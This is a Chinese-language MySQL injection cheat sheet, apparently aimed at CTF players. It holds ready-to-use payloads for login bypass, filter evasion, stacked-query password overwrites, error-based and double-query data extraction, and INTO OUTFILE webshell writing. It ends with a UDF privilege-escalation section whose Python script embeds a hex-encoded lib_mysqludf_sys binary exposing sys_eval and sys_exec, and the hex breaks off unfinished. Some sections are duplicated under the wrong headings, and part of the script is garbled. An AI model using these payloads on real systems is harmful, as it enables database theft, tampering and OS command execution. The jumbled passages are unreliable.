授人以鱼,不如授人以渔
尽量做到简洁的方式将绕过方式原理在这一篇文章中讲清楚
【查看资料】
不适合人群:
1.对 sql 注入 各种原理了如指掌,信手拈来的大佬
2.没有任何数据库以及python基础的新手
3.暂时没有自主动手实践、查询资料能力的新手
SQL注入 基础知识以及各种技巧
本质就是开发者对用户输入的参数过滤不严格,导致用户输入数据能够影响预设查询功能的一种技术。通常导致数据库的原有信息泄露、篡改、删除。本文将针对 Mysql 的各种注入方式和对应的应用技巧。
1. id=1’or’1’=’1’%23 无空格万能密码
id=-1’or(id=26)and’1’=’1 指定序号的万能密码
2.对输出结果简单检测的,如检测到flag返回就拦截,可以通过加密来绕过
1' union select 1,2,to_base64(password) from user3-- -
如这里用base加密
3.空格过滤了可以用 /**/ 绕过 。原理:mysql中注释可以当空格用
这几个都能作为空格使用
09 水平 制表符
0a 换行
0b 垂直制表符
0c 换页
0d 回车
4.反引号可以用来标注字段和表
5. md5 (str,true) 的绕过
ffifdyop,129581926211651571912466741651878684928这两个字符经过md5之后有or 6这个字符串,利用其进行绕过’ ‘or ’ 6’
6. sql 注入中弱比较的使用,例子与原理如下
7. modify 只能改字段数据类型完整约束,不能改字段名,但是 change 可以
8.堆叠注入来修改密码绕过登录
0x61646d696e;update`table_name`set`pass`=1;
# 至于为什么非得用十六进制登录,是因为下面这个没有字符串单引号包围,前面0x61646d696e(admin)也可以用0来代替(弱比较)
图片注释注入:
1.图片的 EXIF 信息中有一个 comment 字段,也就是图片注释。 finfo 类下的 file() 方法对其进行检测。可以利用这个传入服务器中造成注入。
2.修改 EXIF 信息可以用 exiftool 工具 exiftool -overwrite_original -comment=
3.上传文件文件名随机并不考虑类型时可能注入点在这
Handler 注入(mysql特有):
#先用 Handler 开启某个表
HANDLER tbl_name OPEN [ [AS] alias]
#后续可以Read读取,直到Close
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
#第一种语句,通过指定索引和where条件查询,如果为多重索引,那就用,分隔并对每列都指定索引
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
#第二种语句, 正常语法
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
#第三种语句,速度比第二种更快。适用于 INNODB 表
HANDLER tbl_name CLOSE
预处理注入:
- 格式如下
- PREPARE name from ‘[my sql sequece]’ ; //预定义SQL语句 EXECUTE name ; //执行预定义SQL语句 ( DEALLOCATE || DROP ) PREPARE name ; //删除预定义SQL 语句
- 实际操作
#基本条件得存在堆叠注入,可以用concat(char(115,101,108,101,99,116)代替select
username=1';PREPARE xxx from select group_concat(column_name) from information_schema.columns where table_name='flag';EXECUTE xxx;
#改进,十六进制预处理注入,转后前面加个0x,和上面一句话的意思相同
username=user1';PREPARE xxx from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c616727;EXECUTE xxx;
在线的十六进制转换网站 :
存储过程和函数的信息的表information_schema.routines:
1.基本格式
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name';
# ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称
如果不使用 ROUTNE_NAME 字段指定存储过程或函数的名称,将查询出所有的存储过程或函数的定义。如果存储过程和存储函数名称相同,则需要要同时指定 ROUTINE_TYPE 字段表明查询的是哪种类型的 存储程序 。
update注入:
当页面存在更新的时候,结果不会显示出来。但可以更新结果到指定的表中直接观测。
例子:
#分页查询
$sql = "update table_user set pass = '{$password}' where username = '{$username}';";
#查库名、闭合引号
password=1',username=database()#&username=1
当某些时候输入的 单引号 被过滤的时候
#分页查询
$sql = "update table_user set pass = '{$password}' where username = '{$username}';";
#反引号逃逸效果
password=\
#分页查询
$sql = "update table_user set pass = ' \' where username = ' {$username}';";
#可以看到,中间 \' where username = 这一段被标注。注入点转至username
最后查询库名的payload
password=1\&username=,username=(select database())#
Insert 注入:
例子如下:
//插入数据
$sql = "insert into ctf_user(username,pass) value('{$username}','{$password}');";
username=1',database());
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()));
#()绕过空格过滤
username=1',(select(database())));#&password=1
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1
无列名注入:
一个例子来说明
select `3` from (select 1,2,3 union select * from admin)a;
1,admin中有三个字段,第三个字段为password。子查询里面的语句将admin的3个列名作为别名
2,子查询整体作为a表
3,查询a表中的第三个字段,也就是password
简单扩展一下
#利用别名绕过反引号
select b from (select 1,2,3 as b union select * from admin)a;
#多项查询
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;
Bypass information_schema:
1.高版本的 mysql 中 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
5.6.6开始,MySQL默认使用了持久化统计信息,即INNODB_STATS_PERSISTENT=ON,持久化统计信息保存在表mysql.innodb_table_stats和mysql.innodb_index_stats。
由于 performance_schema 过于复杂,所以 mysql 在5.7版本中新增了 sys schemma ,本身不存储数据
1. schema_auto_increment_columns ,该视图的作用简单来说就是用来对表自增ID的监控。
2. schema_table_statistics_with_buffer ,非自增ID也能看见
3. x$schema_table_statistics_with_buffer ,同上
select into outfile的sql语句:
将表数据到一个文本文件中,并用 LOAD DATA …INFILE 语句恢复数据
语句基本结构,以及参数含义
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset _name]
[ export _options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
##############################################
“OPTION”参数为可选参数选项,其可能的取值有:
FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可为单个或多个字符。默认“\t”。
FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认不使用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
FIELDS ESCAPED BY '字符':设置 转义字符 ,只能为单个字符。默认“\”。
LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认不使用任何字符。
LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
##############################################
其中具备写马条件的只有这三条语句
FIELDS TERMINATED BY
LINES STARTING BY
LINES TERMINATED BY
报错注入:
人为地制造错误条件,使得查询结果能够出现在错误信息中
xpath 语法错误来进行报错注入主要利用 extractvalue 和 updatexml 两个函数。使用条件: mysql 版本>5.1.5
#简单介绍一下用的比较少的 extractvalue
正常语法:extractvalue(xml_ document ,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
#第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里
简单 mysql 利用
#查数据库名:
id='and(select extractvalue(1,concat(0x7e,(select database()))))
#爆表名:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
#爆字段名:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
#爆数据:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
ps:
一.0x7e=’~’,为不满足xpath格式的字符
二. extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
双注入原理分析:
#简单介绍一下用的比较少的 extractvalue
正常语法:extractvalue(xml_ document ,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
#第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里
#查数据库名:
id='and(select extractvalue(1,concat(0x7e,(select database()))))
#爆表名:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
#爆字段名:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
#爆数据:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
ps:
一.0x7e=’~’,为不满足xpath格式的字符
二. extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
现象:组合利用 count(), group by, floor() ,能够将查询的一部分以报错的形式显现出来
#经典的双注入语句
select count(*),concat((payload), floor( rand(0)*2)) as a from information_schema.tables group by a
#当from一个至少3行以上的表时,就会产生一个主键重复的报错,把你显示的信息构造到 主键 里面,mysql就会报错把这个信息给你显示到页面上。
问题所在:
1) floor(rand(0)*2) 生成的随机数列是伪随机。(其实不太重要)
2)表中字段数大于三
3)每次查询和插入, rand(0) 函数都会执行一次。(关键)
第一次查询,查询key为0的字段,发现虚拟表为空,因此进行插入操作。再次调用floor(),因此插入的key是1而不是0,还会将对应的count()值填在key的后面。
第二次查询调用floor,得到的值为1,表key为1的字段存在,因此此处的插入操作就是将coun()的值进行叠加。
第三次查询,此时查询的key为0,发现虚拟表中没有0,因此要进行插入操作。调用floor(),得到了1,因此要插入一个key为1的字段。而key为1的字段已经存在了,因此主键重复,MySQL会报错。
ps :rand可以用round代替,floor可以用ceil代替
mysql的udf注入:
#经典的双注入语句
select count(*),concat((payload), floor( rand(0)*2)) as a from information_schema.tables group by a
#当from一个至少3行以上的表时,就会产生一个主键重复的报错,把你显示的信息构造到 主键 里面,mysql就会报错把这个信息给你显示到页面上。
第一次查询,查询key为0的字段,发现虚拟表为空,因此进行插入操作。再次调用floor(),因此插入的key是1而不是0,还会将对应的count()值填在key的后面。
第二次查询调用floor,得到的值为1,表key为1的字段存在,因此此处的插入操作就是将coun()的值进行叠加。
第三次查询,此时查询的key为0,发现虚拟表中没有0,因此要进行插入操作。调用floor(),得到了1,因此要插入一个key为1的字段。而key为1的字段已经存在了,因此主键重复,MySQL会报错。
1. udf 全称为: user defined function , 用户自定义函数 。用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同
2.利用需要拥有将 udf.dll 写入相应目录(plugin)的权限。 select @@ plugin _dir 可以得到 plugin 目录路径
3.将 dll 上传方式几种:.通过 webshell 上传、以hex方式直接上传
4. udf 获取方式,可以在 sqlmap 中获取
在 \sqlmap\data\udf\mysql\windows\64 目录下存放着 lib_mysqludf_sys.dll_
1.sqlmap中自带的shell以及一些二进制文件,为了防止误杀都经过异或编码,不能直接使用
2.sqlmap 自带的解码工具cloak.py,在sqlmap\extra\cloak中打开命令行,来对lib_mysqludf_sys.dll_进行解码然后利用
cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
3.接着就会在\sqlmap\data\udf\mysql\windows\64目录下生成一个dll的文件lib_mysqludf_sys.dll,可以利用lib_mysqludf_sys提供的函数执行系统命令。
5.一般将 udf.dll 文件进行hex编码,借助mysql中的hex函数,先将udf.dll移动到C盘中,这样路径也清晰一些,然后执行下面命令
select hex(load_file(‘C:/udf.dll’)) into dumpfile ‘c:/udf.txt’
6.攻击过程中,首先需要将 lib_mysqludf_sys ( 目标为windows时, lib_mysqludf_sys.dll ; linux 时, lib_mysqludf_sys.so )上传到数据库能访问的路径下。 dll 文件导入到plugin中,然后在 mysql 中执行
create function sys_ eval returns string soname ‘udf.dll’
7.系统命令函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
8.脚本应用
import requests
base_url="#34;
payload = []
text = ["a", "b", "c", "d", "e"]
udf = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F4